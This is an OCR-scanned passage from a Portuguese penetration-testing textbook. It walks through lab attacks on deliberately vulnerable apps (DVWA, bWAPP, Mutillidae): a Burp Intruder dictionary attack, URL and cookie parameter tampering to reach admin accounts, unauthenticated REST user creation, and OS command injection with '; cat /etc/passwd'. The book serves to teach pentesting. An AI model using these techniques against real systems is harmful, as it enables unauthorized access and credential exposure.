autenticagdo, ele podera realizar opera¢des de administragdo, caso
a conta conseguida tenha esse privilégio.

O ataque de forca bruta visa realizar diversas tentativas de
adivinhagdo de credenciais com valores aleatdrios ou sequenciais.
Isso é feito por meio de varias requisicoes ao formuldrio de
autenticagdo que ndo dita um numero maximo de tentativas.
Mesmo nesse contexto, o ataque de forga bruta é pouco adotado, ja
que para adivinhar uma senha simples podem ser necessarias
diversas requisi¢oes. Isso pode inclusive causar negacao de servico
derrubando a aplicagdo e geralmente esse ndo é o objetivo do
atacante.

Para aumentar a performance e a eficacia dos ataques de forca
bruta, sdo usados diciondrios de senhas, que sdo listas de senhas
mais utilizadas por usudrios comuns. Esses dicionarios também
podem ser chamados de wordlists de senhas. Nesse contexto, o
nome do ataque é trocado, deixa de ser ataque de forca bruta e
passa a ser ataque de dicionario.

O exemplo a seguir demonstra uma técnica para realizar as

diversas requisi¢des de autenticagdo em uma pagina de login na
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aplicagdo AppSensor Demo Application com o uso da ferramenta
Burp Suite. Para isso, acesse a pagina
http://10.0.0.1/AppSensorDemo/login.jsp e realize a primeira
tentativa de login com dados aleatérios e ndo se esqueca de
interceptar essa requisi¢do no Burp Suite.

POST /AppSensorDemo/Login HTTP/1.1

Host: 10.8.8.1

User-Agent: Mozilla/S. 0 (¥11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/62.0

Accept: text/html, application/xhtml+xml, application/xml; 0. 9, */* 0. 8

Accept-Language: en-US, en; 0.5

Accept-Enceding: gzip, deflate

Referer: http: //10.0.0.1/AppSensorDemo/Login. Jsp

Content -Type: application/x-www-form-urlencoded

Content -Length: 29

O Connection: close

11 Cookie: security_lewel=0; tz_offset=-12000; BEEFHOOK=
85THvky TDxNBokku] k30qzHf IEMreizgRbssmbSP4Hzh] Nl 0AAFGGORSLY qNQdyani4W6ErZsdaiTsCy; dbx-postmets=
grabit=0-,1- 2- 3- 4- 5- 6-&advancedstuff=0-,1- 2-; acopendivids=swingset,jotto, phpbb2, redmine;
acgroupswithpersist=nada; dSa4bd280a324d2ac38eb2cif e58b9ef-uTpnh3as]4229r85comnlgnit4; JSESSIONID=
18md529th4orElchn78115mwe

12 Upgrade-Insecure-Requests: 1

1z

14 LsernamFteste&passwor&#teste

@AWW

(== 3

=

Figura 8.1: Requisi¢ao para login.

Com a requisi¢do interceptada, clique com o botdo direito do
mouse e selecione send to intruder, esse é o mdédulo do Burp
responsavel por automatizar requisicoes. Quando fizer isso, dentro
da aba Intruder do Burp terd outra aba especial para essa
requisicdo e sera nela que faremos as customizagdes necessarias.

Antes de iniciar o nosso ataque de diciondrio, para fins
didaticos, vamos roubar um pouquinho. Na péagina inicial da
aplicagdo alvo, temos algumas contas mostradas. Vamos supor que
conseguimos essas trés contas em algum canto da aplicagdo e
queremos descobrir as suas senhas e, para isso, vamos fazer um
ataque de dicionario.

Agora, para comegar o ataque dentro da aba Intruder,
olharemos dentro da aba da nossa requisi¢do, que provavelmente
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terd o numero 02, se vocé ja nao tiver usado o Intruder antes.
Dentro dessa aba de requisi¢ao, temos a aba target com o IP e a
porta da aplicagdo alvo e, ao lado, temos ainda outra aba chamada
positions. Acesse-a.

Nessa tela, selecione tudo, menos os dados na linha de
username e password, pois a selecdo que vem pré-marcada faz
mengao aos itens que queremos variar. No nosso caso, sdo apenas
o usudrio e a senha. Apds fazer essa selecao, clique no botao clear

S.

Attacktype | Sniper v

1 POST /AppSensorDemo/Lagin HTTR/1.1 Adds§
2 Hest: 10.0.0.1

S User-Agent: Mozilla/5.8 (K11; Linux x86_64; rv:68. 8) Gecko/20100101 Firefox/68.0 B

4 Mccept; text/html, application/xhtml+xml, spplication/xml; q=0. 9, /%, q=0. 8 ( J
5 Accept-Language: en-US,en; 0.5

T

G Accept-Encoding: gzip, deflate Auto§
7 Referer: http: //18.0.0.1/AppSensorDenc/login. jsp
& Content-Type: application/x-www-form-urlencoded Refresh

9 Content-Length: 29

10 Connection: close

11 Cookie: security level=0; tz_offset=-12000; BEEFHOOK=
B5THwky 7DxNBokkuj k30gzHF IBMreizqRbssnbSP4Hzhj nJ0AAFGGORILYqNOdyani #EErZsdaiTsCe; dbx-postmeta=
grabit=0-,1-,2- 3-,4-,5-, 6-Gadvancedstuff=0-,1-,2-; acopendivids=swingset,jotto, phpbb2, redmine;
acgroupswithpersist=nada; dsathd280a324d2ac98eh2c0fe58h9et=uTpnh3as] 4229r85comrlgnj t4; JSESSIONID=
18md539thdorelchn7al15mee

12 Upgrade-Insecure-Requests: 1

13

14 username=§testefpassword=§testes

¥

Figura 8.2: Requisi¢ao no Intruder.

Como vocé pode ter percebido, na caixa de selecao Attack type,
o Intruder oferece suporte a vérios tipos de ataques. Esses ataques
determinam a maneira como as nossas alteragdes automaticas de
usudrios e senhas serdo atribuidas nas posi¢des selecionadas. Os
seguintes tipos de ataques estdo disponiveis:

o Sniper: nesse modo, é alterada uma varidvel selecionada
por vez, ou seja, a cada requisicdo feita, apenas uma

\

variavel tera diferenca em relagdo a requisicdo anterior.

1o

Este tipo de ataque é util para analisar os impactos da
alteracdo de cada pardmetro individualmente em relacdo
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aos outros do mesmo tipo. O numero total de solicitacoes
geradas no ataque é o produto do nimero de variaveis a
serem alteradas e da quantidade de payloads.

Battering ram: nesse modo, alteram-se todas as variaveis
pelo mesmo payload, sendo todas com o mesmo valor em
cada requisicdo. Este tipo de ataque ¢é util quando um
ataque requer que a mesma entrada seja inserida em varios
locais dentro da requisi¢do. O nimero total de requisi¢des
geradas nesse modo é igual ao numero de payloads.

Pitchfork: nesse modo, todos os payloads sdo percorridos
simultaneamente e se coloca cada um como valor de cada
variavel selecionada para alteracdo. Em outras palavras, a
primeira solicitagdo colocard o primeiro payload para a
variavel 1 na posicdo 1 e o primeiro da variavel 2 na
posicdo 2; a segunda solicitagdo colocard o segundo
payload da variavel 1 na posigdo 1 e o segundo da variavel 2
na posi¢ao 2 etc. Com isso, os payloads caminhardo em
conjunto, conforme a ordem definida. O numero total de
solicitagdes geradas no ataque é o produto do numero de
posi¢des e do numero de payloads.

Cluster bomb: nesse modo, itera-se por meio de cada
payload, de forma que todas as combinagdes possiveis
sejam testadas. Esse tipo de ataque ¢ util quando se exige
que uma entrada seja inserida em varios locais dentro da
solicitagdo, por exemplo, ao adivinhar credenciais, um
nome de usudrio em um parametro e uma senha em outro.
O numero total de solicitagoes geradas no ataque é o
produto da quantidade de payloads pela quantidade de
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variaveis e isso pode ser extremamente grande.

Como 0 nosso objetivo sera testar todos os usuarios e todas as
senhas, vocé ja deve imaginar qual desses ataques devemos utilizar.
Entdo, na caixa de selecio de qual ataque usaremos, selecione a
opgao Cluster bomb e depois vamos configurar os payloads. Para
fazer essa configuracgdo, va agora até a aba payloads, onde vamos
usar os usudrios que colhemos na pagina inicial e também algumas
senhas comuns.

Nessa aba, na secdo payloads set, o nimero 1 ja deve estar
selecionado. Isso significa que vamos colocar os valores que serao
testados na variavel de niamero 1, que no caso é a username. Para

colocar os nomes, va a se¢do payload option e adicione os trés

nomes: foo, sue e bob. Vocé confirma cada valor clicando no botao
add.

(?) Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

P aste foo

Sue

Load ... bob
Remowve >
Clear

Add |

Figura 8.3: Nomes para o ataque de dicionario.

Com os trés nomes adicionados, agora vamos para o cadastro
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das senhas. Para elas, cadastre alguns valores aleatdrios conforme
julgar necessario, mas, como sabemos que a senha dos usudrios é o
mesmo valor do nome, ndo esqueca de adicionar o nome
novamente como valor possivel para a senha. Caso tenha duvidas
de como colocar os valores para senha, va até a se¢ao que esta logo
acima e, na caixa de selecao chamada payloads set, coloque o valor
2.

(3) Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Pasta | | 123456

teste
Load ... foa
password
Remowve = -
gwerty
= ] 12245672
2ar "bob
Acld Enter a new item

Figura 8.4: Senhas cadastradas para o ataque de dicionario.

Como pode ser percebido na figura, as senhas corretas serdo
testadas e vocé podera ver qual a rea¢do do sistema ao acertar uma
senha. Com todas essas configura¢des feitas, no canto superior
direito, existe um botdo chamado start attack. Clique nele e veja o
desenrolar do ataque.
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| Requ.. & | Payloadl | Payload2 | Status | Errer | Timeo... | Length

0 302 O O =233
1 foo 123456 202 (=] (=] 233
2 sue 123458 302 J J 233
3 bab 123458 302 =l =l 233
4 foo teste 302 = O 233

|5 sue teste 302 (=] (=] 233
[ bok teste 202 O B 233
7 foo foo 200 L | a 1832
8 sue foo 302 = = 233

|9 baob foo 302 (=] (=] 233
10 foo password 302 & = 233
11 sue password 202 =] o 233
12 baobk password 302 = = 233
13 foo sue 302 =] =] 233
14 sUe sue 200 a a 1774
15 bob sue 302 = =] 233
16 foo gwearty 202 = (=] 233
17 sue quearty 202 =] (=] 233
18 baob qeerty 302 O = 233
15 foo 12345678 302 L=l =] 233
20 sue 12345678 302 = =] 233
21 bob 12345678 202 (=] (=] 233
22 foo bob 302 O O =233
23 sue bob 302 = [ 233
24 bob bob 200 - T

Figura 8.5: Senhas que foram usadas no ataque de dicionario.

A figura exibe o resultado final apds todas as requisi¢oes terem
sido feitas. Como pode perceber, nas linhas marcadas, existem
alguns dados que as diferenciam das demais. Esses dados sdo o
tamanho da resposta e o status da resposta. Varias requisi¢oes
possuem esses valores iguais e isso significa que a tentativa de
autenticagdo da vez ndo foi bem-sucedida, pois a pagina retornada
¢ a mesma de login.

Ha linhas que apresentam valores diferentes porque a pagina
retornada nao foi a mesma, ou seja, foi retornada a pagina inicial
do sistema que vem apds a autentica¢io bem-sucedida. Se
existissem mais usudrios a serem testados, ja saberfamos como
identificar o sucesso da autenticagdo apenas olhando os dados de
retorno.

Nio podemos nos esquecer de que, em uma situagido real,
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dificilmente digitariamos todas as possibilidades de senhas. Caso
vocé precise fazer esse experimento realmente, vocé precisara de
uma lista de senhas, que pode ser obtida na internet ou no préprio
Kali no diretério /usr/share/wordlists/ , por exemplo, ou até
mesmo usando uma wordlist de senhas bem famosa, chamada
rockyou, que pode ser encontrada na raiz desse mesmo diretdrio
compactado no arquivo rockyou.txt.gz .

Para utilizar a wordlist é também muito simples: na mesma
aba, payloads, em vez de deixar simple list na op¢ao payload type,
basta selecionar a opgao runtime file e escolher a wordlist a ser
usada. O restante do ataque permanece idéntico.

8.2 QUEBRA DO CONTROLE DE ACESSO POR
MANIPULACAO DE PARAMETROS

Algumas aplicagdes identificam se as fung¢des disponiveis para
um cliente sdo de administra¢do ou de usudario comum, por meio
de parimetros que podem ser modificados pelo usudrio. Por
incrivel que parega, isso ¢ algo muito comum e pode ser explorado
por qualquer pessoa.

Essa vulnerabilidade caracteriza uma quebra de controle de
acesso. O projeto e o gerenciamento de controles de acesso sio um
problema complexo, ja que, para além de questdo técnica, essas
decisdes de design de controle de acesso sdo feitas por humanos,
ndo por tecnologia. No entanto, em nosso exemplo, trataremos de
uma falha de tecnologia, onde o desenvolvedor aplicou o controle
em parametro passado via URL. Para acessar esse exemplo, acesse
http://10.0.0.1/bWAPP/smgmt_admin_portal.php?admin=0 e,
caso seja solicitada a senha, coloque bee/bug .
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Ao acessar a URL, vocé notara a mensagem dizendo que a
pagina estd bloqueada. Esse aviso faz men¢do a uma restri¢do
imposta a usudrios comuns. No entanto, ao notar a URL, vocé verd
que existe um parametro admin com o valor 0. Tente alterar esse
parametro para 1 e veja o resultado. Vocé pode acessar o painel
com a permissido de administrador.

/ Session Mgmt. - Administrative Portas /

Cowabunga...

You unlocked this page using an URL manipulation.

Figura 8.6: Acessando painel como administrador.

7

Esse é um erro tipico de falha no controle de acesso. Essas
fung¢des nao devem ficar sob o poder do usuario.

83 EXPLORANDO A LOGICA DE
CONSTRUCAO DOS COOKIES DE SESSAO

O controle de sessdao com o protocolo HTTP, na maioria das
vezes, é feito por meio de cookies e raramente essa regra nao é
obedecida. Apesar de os métodos nativos de controlar sessao serem
considerados eficientes, existem desenvolvedores e
desenvolvedoras que resolvem implementar a sua prdpria solugao
para controle da sessdo dos usudrios do sistema. Essa agdo nio é
indicada, pois as solu¢des atuais atendem bem aos requisitos de
aleatoriedade e seguranga. Vamos verificar um exemplo desse tipo
de controle utilizando a aplica¢do mutillidae.

Acesse http://10.0.0.1/mutillidae/index.php?page=login.php e
faca o login com as credenciais user/user . Apds isso, faga uma
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requisi¢do a uma pagina qualquer e a intercepte com o Burp Suite
para uma analise.

GET #mutillidsesindex. php HTTP/1.1

Host: 10.0.0.1

User-Agent: Mozillay/S. 0 (X11; Linux x86_64; rv:GB. 0) Gecko/20100101 Firefox/68.0
Accept: text/html, application/xhtml+xml, application/xml; 0. 9, */% =0 8
Accept-Language: en-US en; 0.5

Accept-Encoding: gzip, deflate

Connection: close

Cockie: showhint=1; username=user; uid=23, security lewel=0; tz_offset=-12600,
BEEFHOOK=

25TXvkyTDxMNBokku] k38qzHf IBMreizgRbssmbSP4Hzh] nJOAAFGGORILY gNQdyani4WeErZsdaiTsty;
dbx-postmeta=grabit=0-,1-,2-, 2- 4-, 5- 6-&advancedstuff=0- 1- 2-; acopendivids=
swingset, jotto, phpbb2, redming; acgroupswithpersist=nads;
dSad4bd280a324d2ac98eb2c0f e58b9et=uTpnh335] 4229 r85c0mnlgnj t4; JSESSIONID=
18mdS39th4arelchn78l15mwe; PHPSESSID=Sikknms26] p01119k1lknvohcml
Upgrade-Insecure-Requests: 1

W e WK

[=:]

o

Figura 8.7: Requisicao de usuario.

Nessa figura estd uma requisicdo simples ap6s a autenticagdo
com o user . Podemos notar que existem diversos cookies sob o
uso da aplicacdo e a principio ndo sabemos qual é a influéncia
deles no comportamento do sistema.

Para descobrirmos isso, seria interessante alterar o valor dos
cookies. Isso nos ajudard a perceber a influéncia de cada um. Para
alterar as configuragdes de cookie, existe um plugin para Mozilla
Firefox que faz esse trabalho muito bem, o cookie manager.
Vamos utiliza-lo para fazer essas alteragdes. Para baixa-lo e instald-
lo no navegador do Kali acesse: https://addons.mozilla.org/pt-
BR/firefox/addon/a-cookie-manager/.

Com ele instalado, abra a extensdo estando no sistema
mutillidae e clique em open cookie manager for current page. No
cookie uid , altere o seu valor para um valor anterior, no meu
caso, alterei de 23 para 22. Feito isso, acesse a pagina inicial do

sistema e note o nome do usudario que esta autenticado.
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Logged In User: james (Occupation: Researcher)

eset DB View Log View Captured Data

Figura 8.8: Usuario alterado.

Veja que interessante, descobrimos que a aplicagao deixa sob o
cookie a responsabilidade de distinguir usudrios. O desenvolvedor
nao percebeu que esse valor pode ser alterado pelo usuario, como
fizemos agora. Se vocé navegar entre esses numeros nos
pardmetros de uid, notarda que, a cada alteragdo, caso o usuario
exista, vocé obtera o acesso a uma conta diferente.

Mediante isso, o que podemos fazer ¢é alterar o valor por meio
da técnica de tentativa e erro, até alcancarmos um usuario com
poderes administrativos sobre o sistema. No entanto, nosso
conhecimento empirico nos dird para colocarmos o niumero 1 no

uid , ja que, geralmente, o primeiro usudrio do sistema ¢é o
administrador. Vamos fazer isso e ver se conseguimos alcangar o
nosso objetivo.

Logged In Admin: admin (g0t ro0t?)

View Log View Captured Data

Figura 8.9: Usudrio alterado para o administrador.

8.4 ACESSANDO RECURSOS SEM
AUTENTICACAO

Em sistemas web é muito comum que arquivos como fotos,
documentos, logs e arquivos de configuragdo do sistema sejam
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armazenados em diretérios dentro do escopo da aplicagdo web.
Esse tipo de vulnerabilidade é conhecido também como
vazamento de informagdes sensiveis, no entanto, na maijoria das
vezes, essa falha ocorre pelo fato de ndo se ter um controle
apropriado de acesso.

Além de apenas acesso as informagdes sensiveis, também
existem os casos onde uma funcionalidade pode ser acessada sem a
autenticacdo. E muito comum os sistemas possuirem essas
funcionalidades em mddulos. Isso porque os arquivos que contém
apenas funcionalidades podem passar a percep¢io ao
desenvolvedor de que sao invisiveis para o usuario. Sendo assim, o
desenvolvedor, por vezes, pode negligenciar a aplicagdo de fungdo
de controle de acesso em arquivos dessa natureza.

Para o caso de acesso, podemos ver um exemplo dentro da
aplicagago DVWA. Como ja vimos em capitulos anteriores, nela,
existe a op¢ao de fazer upload de arquivos. Nessa funcionalidade, o
usuario supostamente submete ao sistema arquivos pessoais que
sd0 necessarios a regra de negdcio, como documentos, fotos etc.
Quando o DVWA recebe esses arquivos, a aplicagdo os armazena
dentro de um diretério chamado /uploads , que esta acessivel
sem autenticacao por meio da URL:
http://10.0.0.1/dvwa/hackable/uploads/.
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Index of /dvwa//hackable/uploads

Name Last modified Size Description

@ Parent Directory -

[# ___etc passwd 09-Jun-2021 05:44 600
@ documento_escaneado.jpeg 09-Jun-2021 05:47 8.8K
dombased.html 27-Feb-2021 13:55 265
dvwa_email.png 10-Jul-2013 20:42 667
[4) foto1.jpeg 09-Jun-2021 05:46 13K

Figura 8.10: Acesso ao diretério sem autenticagao.

Além de ndo se ter um controle de acesso ao diretério, ainda
contamos com a funcionalidade de listagem de conteudo
habilitada, o que facilita o trabalho do atacante ao recuperar cada
conteudo armazenado. Esse tipo de acesso pode ser inclusive
descoberto utilizando técnicas de mapeamento do servidor web, ou
seja, ¢ um problema grave de seguranca.

8.5 EXECUTANDO ACOES SEM
AUTORIZACAO EM REST API

Como ja dito anteriormente, também podemos acessar
funcionalidades sem estar autenticado no sistema e, com isso, além
de obter informac¢ido, podemos inclusive realizar alteragdes no
sistema de forma ndo prevista. Para verificar isso, vamos usar o
sistema mutillidae, que também conta com uma API REST que
contém funcionalidades relativas aos usuarios.

No link http://10.0.0.1/mutillidae/webservices/rest/ws-user-
account.php temos algumas instrugdes de uso. Perceba que logo
abaixo temos uma funcionalidade que cria usuario. Na verdade,
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temos uma funcionalidade de CRUD completa implementada via
REST API. Entdo ndo vamos perder tempo, temos que explora-la
também.

Para trabalhar com REST API temos um 6timo plugin para
Morzilla Firefox, muito utilizado para fazer testes. O nome dele é
RestClient e podemos baixd-lo e instala-lo por meio do link:
https://addons.mozilla.org/pt-BR/firefox/addon/restclient/.

Para criar um usudrio, seguiremos as orientagdes que estdo em
http://10.0.0.1/mutillidae/webservices/rest/ws-user-account.php.
Nas orientagdes ¢é informado que, para acessarmos a
funcionalidade, devemos enviar os parametros username e

password por meio do método PUT. Com essas informagdes em
maos, vamos acessar o RestClient e realizar essa requisi¢ao.

[-1 Request

PUT v B  httpy/10.0.0.1/mutillidae/webservices/restiws-useraccount.php

password=hackl23&username=hacker

Figura 8.11: Criando usuario na API REST.

Apos feitas as configuragdes conforme a figura anterior, basta
clicar no botao send e verificar a resposta da API logo adiante.
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[-] Response

Result: {Inserted accoumt hacker. 1 rows affected.}

Figura 8.12: Resposta da API REST.

Perceba que tivemos uma resposta favoravel da API. Agora,
para validar realmente se o usuario foi criado, vocé pode tentar
logar na aplicagdo. Esse é um tipico caso de funcionalidade que
pode ser acessada sem necessidade de autentica¢ao.

8.6 MECANISMO DE RECUPERACAO DE
SENHA VULNERAVEL

Existem diversas falhas que podem ocorrer ao se implementar
uma fun¢do que permite ao usudrio recuperar a sua senha. No
entanto, funcdes como essa podem ser altamente necessdrias pois
os usuarios podem realmente esquecer suas senhas.

O mecanismo de recuperacao de senhas é muito explorado por
hackers e existe uma infinidade de variacdes desse ataque. Nesse
caso, vamos ver a mais simples, que estd localizada em
http://10.0.0.1/bWAPP/ba_forgotten.php.

Nessa funcionalidade, o sistema nos solicita um e-mail para
que a senha seja relembrada. Primeiro precisamos criar um usudrio
ficticio no bWAPP. Para isso, acesse
http://10.0.0.1/bWAPP/user_new.php e crie um usuario de sua
escolha, ndo se esqueca de preencher todos os dados, simulando
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realmente um usudrio comum criando a sua senha.

Apos isso, volte a pagina onde realizaremos a recuperagao de
senha e coloque o e-mail informado no cadastro. Veja o resultado:

Apparently you forgot your secret...

E-mail:

Forgot

Hello Jose! Your secret: jose

Figura 8.13: Resposta da API REST.

Essa facilidade ao se obter dados do wusudrio pode
comprometer a aplicagdo. Existem diversas falhas possiveis no
mecanismo de recuperagdo de senha e a que exibimos foi s6 um
exemplo de que qualquer formulario do tipo existente no sistema
para teste deve ser avaliado em detalhes.

8.7 TECNOLOGIAS IMPORTANTES PARA O
CONHECIMENTO

Existem alguns conceitos que vieram para auxiliar pessoas
desenvolvedoras na resolucdo de questdes relativas a autorizagao,
autenticagdo e ao gerenciamento de sessdao. Essas tecnologias
aumentaram muito a seguranca, no entanto, se mal implantadas,
também podem sofrer ataques.

Nio falaremos a fundo sobre elas neste livro, porque teriamos
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que destinar capitulos inteiros a elas e o escopo do livro é basico.
No entanto, é fundamental que vocé conheca a existéncia desses
conceitos, pois eles podem possuir diversas implementa¢des no
mercado. Assim, caso algum dia vocé venha a se deparar com uma
dessas implementacdes, vocé sabera com o que estd trabalhando e,
assim, podera correr atras do conteudo. Na sequéncia, mostro
alguns desses conceitos.

JSON Web Tokens (JWT)

O JWT ¢ um padrao aberto, referenciado por meio da RFC
7519. Nessa especificacao, trabalha-se com tokens que sdo
compostos por trés partes separadas por pontos, que sio:
cabegalho, tipo e assinatura. O cabegalho contém o algoritmo de
hash usado, o tipo contém os dados propriamente ditos, e a

assinatura é usada para evitar que os dados sejam modificados.
Todos esses dados sao codificados em base64.

O controle do JWT funciona de uma forma diferenciada em
relacdo aos processos de autenticagdo e gerenciamento de sessao
tradicionais que vimos no decorrer das nossas exploragdes
anteriores. Nos processos que vimos até entdo, o estado do usuario
¢ armazenado na memoria do servidor. J4 no JWT, o estado do
usudrio e os dados sdo assinados com uma chave secreta no lado
do servidor e, em seguida, ela é enviada ao cliente e armazenada no
HTML5 Storage, que é uma forma de armazenar dados no
navegador para além dos cookies.

O JWT tornou-se uma tecnologia muito utilizada de
autenticagdo e gerenciamento de sessdo para APIs REST, SPAs
(Aplicagoes de pagina unica) e aplicativos modveis, mas nada
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impede também que seja empregado em outros modelos de
desenvolvimento.

Security Assertion Markup Language (SAML)

O SAML, originalmente desenvolvido em 2001, é o padrdo
mais antigo para troca de dados de autenticagdo e autorizagdo
entre mais de um sistema. O SAML é um padrao aberto baseado
em XML que permite comunicagdes padronizadas entre
provedores de identidade (Identity Provider, 1dPs) e provedores de
servico (Service Provider, SPs) transmitindo credenciais de
autorizac¢ao entre eles.

Ele se tornou um dos métodos de implementagdo SSO (Single
Sign-On) mais comuns para gerenciamento centralizado de
usudrios e inclusive pode fornecer acesso a solugdes SaaS (Software
as a Service). Com SAML, ha um sistema simplificado de um tnico
login por usudrio.

Ao utilizar SAML, quando um usuario faz um login em uma
aplicacao habilitada, o provedor de servicos solicita autoriza¢ao do
provedor de identidade. O provedor de identidade autentica as
credenciais do usudrio e, em seguida, retorna essa autorizagdo ao
provedor de servigos, e o usudrio agora pode usar a aplicagdo.

A autenticagdo SAML é o processo de verificacdo da identidade
e credenciais do usudrio. A autorizagio SAML informa ao
provedor de servigos qual acesso conceder ao usudrio autenticado.

OAuth 2.0

A especificagdo OAuth 2.0 basicamente regulamenta como um
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sistema de terceiro pode acessar um conjunto de dados de um
usudrio em um outro sistema mais especifico, como uma rede
social, por exemplo. Como esse acesso pode se dar das mais
diversas formas, existem diferentes tipos de fluxos de autorizagao
usados no OAuth 2.0.

O principal motivo da existéncia do OAuth 2.0 é o fato de que,
no modelo de autenticagdo classico, as credenciais da conta do
usudrio geralmente eram compartilhadas com sites de terceiros, o
que pode resultar em varios problemas de seguranga. A
especificagdo do OAuth 2.0 pode ser verificada com mais detalhes
na REC 6749, acessivel pelo link
https://datatracker.ietf.org/doc/html/rfc6749.

O SAML e OAuth2 usam termos semelhantes para conceitos
semelhantes no processo de acesso, permitindo que os clientes
interajam com o servidor de recursos (SP) e o servidor de
autorizacao (IdP).

O servidor de autorizagdo possui as identidades e credenciais
dos usuarios e é a parte com quem o usudrio realmente se
autentica e autoriza. No entanto, em alguns casos, a mesma
aplicagdo pode atuar como servidor de autorizagdo e servidor de

recursos.

No OAuth 2.0 existem quatro fluxos para obter a permissio do
proprietario do recurso (token de acesso): authorization code,
implicit, resource owner password credentials e client credentials. O
authorization code e o implicit sdo os mais utilizados e que
merecem mais atengdo, pois sdo usados por clientes publicos onde
os usudrios ddo sua permissdo para aplicacdo de terceiros.
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Consideragoes finais do capitulo

No decorrer do capitulo, vimos diversas falhas de autenticagao,
gerenciamento de sessdo e autorizagdo dos sistemas web. Temos
que ter em mente que falha ndo é apenas o que concede acesso ao
sistema operacional e a invasao do servidor. Quando falamos das
vulnerabilidades, estamos falando de tudo o que permite a uma
pessoa ndo autorizada alterar ou obter informagdes para as quais
ela ndo deveria ter permissao. Sendo assim, os processos para
controle de autenticagdo, gerenciamento de sessdo e autorizagdo se
tornam fundamentais e qualquer falha neles pode representar um
risco enorme para a organizacao.

Algo importante a se notar é que existe uma variedade imensa
de formas de contornar os mecanismos de autenticacéo,
gerenciamento de sessao e autorizagao. Existem livros inteiros para
falar apenas desse assunto, de tdo extenso que ele é. O objetivo foi
trazer uma visdo clara dos ataques mais comuns e enfatizar a
importancia de se construir com exceléncia esses mecanismos.
Caso deseje mesmo ingressar na area de técnicas de invasdo, a
experiéncia sera uma grande aliada para conseguir burlar esses
mecanismos, entdo, procure exercitar bastante as técnicas do livro
e ir além.
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CapiTuLO 9

OUTRAS
VULNERABILIDADES
IMPORTANTES

Se fossemos falar detalhadamente de cada vulnerabilidade,
semelhante ao que fizemos nos capitulos anteriores, seria
necessario um livro imenso, pois realmente sdo muitas
vulnerabilidades e muitas variagdes possiveis. No escopo deste
livro, as que abordamos sdo muito conhecidas e sdo fundamentais
para realizar atividades na area de testes de invasao. No entanto,
com o avan¢o da tecnologia, novas vulnerabilidades foram
surgindo e algumas se tornaram comuns. As atualizagdes do
OWASP TOP 10 relatam diversas delas, conforme as novas
tecnologias ao decorrer dos anos.

Neste capitulo, serdo expostas algumas vulnerabilidades que
também devem ser conhecidas. Muitas das que estdo listadas a
seguir ja foram abordadas ou citadas superficialmente, outras
podem ser consideradas como variagdes de ataques ja expostos
neste livro. Com este capitulo, poderemos conhecer um pouco
mais do enorme ramo do teste de invasao em aplicacdo web.
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9.1 INJECAO DE COMANDOS DO SISTEMA
OPERACIONAL

A inje¢ao de comandos do sistema operacional é um ataque
que visa a execu¢do de comandos arbitrarios no sistema
operacional que hospeda a aplicagdo web. Os ataques de injecao de
comando sdo possiveis quando uma aplica¢do, sem tratar os dados
de entrada, executa-os como complemento de um comando
preestabelecido no terminal do sistema operacional.

Nesse ataque, os comandos do S.O. fornecidos pelo atacante
sao executados com os privilégios do usuario do servidor web no
sistema. Esses ataques podem ser feitos de diversas maneiras,
inclusive aproveitando-se de outras vulnerabilidades, como a
desserializa¢ao de objetos, que veremos mais adiante.

Para o nosso exemplo, usaremos o DVWA na URL
http://10.0.0.1/dvwa/vulnerabilities/exec/. Essa funcionalidade
simula um formuldrio que faz um teste de conexdo com o
comando ping , um comando que usa o protocolo ICMP para
verificar se um host estd ativo na rede. Por usar o comando ping,
sabemos que ¢ necessario que em algum momento nossa entrada
componha esse comando. Entdo, a funcionalidade pega o que foi
informado no campo texto e concatena ao comando ping -c 3
<ENTRADA> . O resultado dessa concatenaciao é executado no
sistema operacional. Para testar a funcionalidade, coloque o ip do

seu Kali para teste, 0 10.0.0.2.

Como vocé pode ter percebido, a resposta que apareceu na tela
veio direto do sistema operacional. Essa percep¢io vem pela
similaridade na resposta. Agora, para realizar o ataque, temos que
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pensar o seguinte: o valor informado compora o comando ping -
c 3 <ENTRADA> . Com isso, podemos substituir o IP, que seria
informado, por um caractere especial que permite concatenar
comandos no sistema operacional, como o ponto e virgula (;). Veja
no seu sistema operacional como acontece.

# ping -c 3 10.0.0.2 ; echo "Executou o segundo comando"
PING 10.0.0. 2 (10.0.0.2) 56(84) bytes of data.
64 bytes from 18. icmp_seq=1 ttl=64 time=8.017 ms
64 bytes from 18. : icmp_seg=2 ttl=64 time 24 ms
64 bytes from 18.0. icmp_seq=3 ttl=64 time=0.023 ms

-— 10.0.0.2 ping statistics —

3 packets transmitted, 3 received, 0% packet loss, time 2046ms
rtt min/avg/max/mdev = 0.017/0.021/0.024/0.003 ms

Executou o segundo comando

Figura 9.1: Teste do separador de comandos no Kali.

Entao isso significa que, se vocé adicionar o valor 10.0.0.2;
cat /etc/passwd ao campo, o sistema executard o ping e
depois trard o arquivo /etc/passwd na tela. Tente fazer isso e
veja o resultado.

10.0.0.2; cat /etc/passwd submit

PING 10.0.0.2 (10.08.0.2) 56(84) bytes of data.

64 bytes from 10.0.8.2: icmp_seg=1 tt1=64 time=0.307 ms
64 bytes from 10.0.8.2: icmp_seq=2 ttl=64 time=0.439 ms
64 bytes from 10.8.8.2: icmp_seg=3 ttl=64 time=0.533 ms

--- 18.8.8.2 ping statistics ---

3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = 8.307/0.426/0.533/0.0894 ms
root:x:8:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: fusr/games: /bin/sh
man:x:6:12:man:/var/cache/man: /bin/sh
lp:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news: fvarlspool[news /bin/sh
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Figura 9.2: Injegdo de comando na aplicagio.
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Do mesmo modo, vocé pode injetar qualquer comando do
sistema operacional por meio dessa técnica. No entanto, nem
sempre o ponto e virgula (;) vai funcionar - vocé pode estar
trabalhando com bloqueios, sistemas operacionais diferentes, entre
outras dificuldades. Para saber mais sobre jun¢do de comandos,
vocé pode wusar o https://hackersonlineclub.com/command-
injection-cheatsheet/ e ter diversas variagdes para realizar os seus
ataques de injecdo de comandos do sistema operacional.

9.2 INJECAO DE XML EXTERNAL ENTITY
(XXE)

Um ataque XXE ¢ baseado no conceito de entidades externas
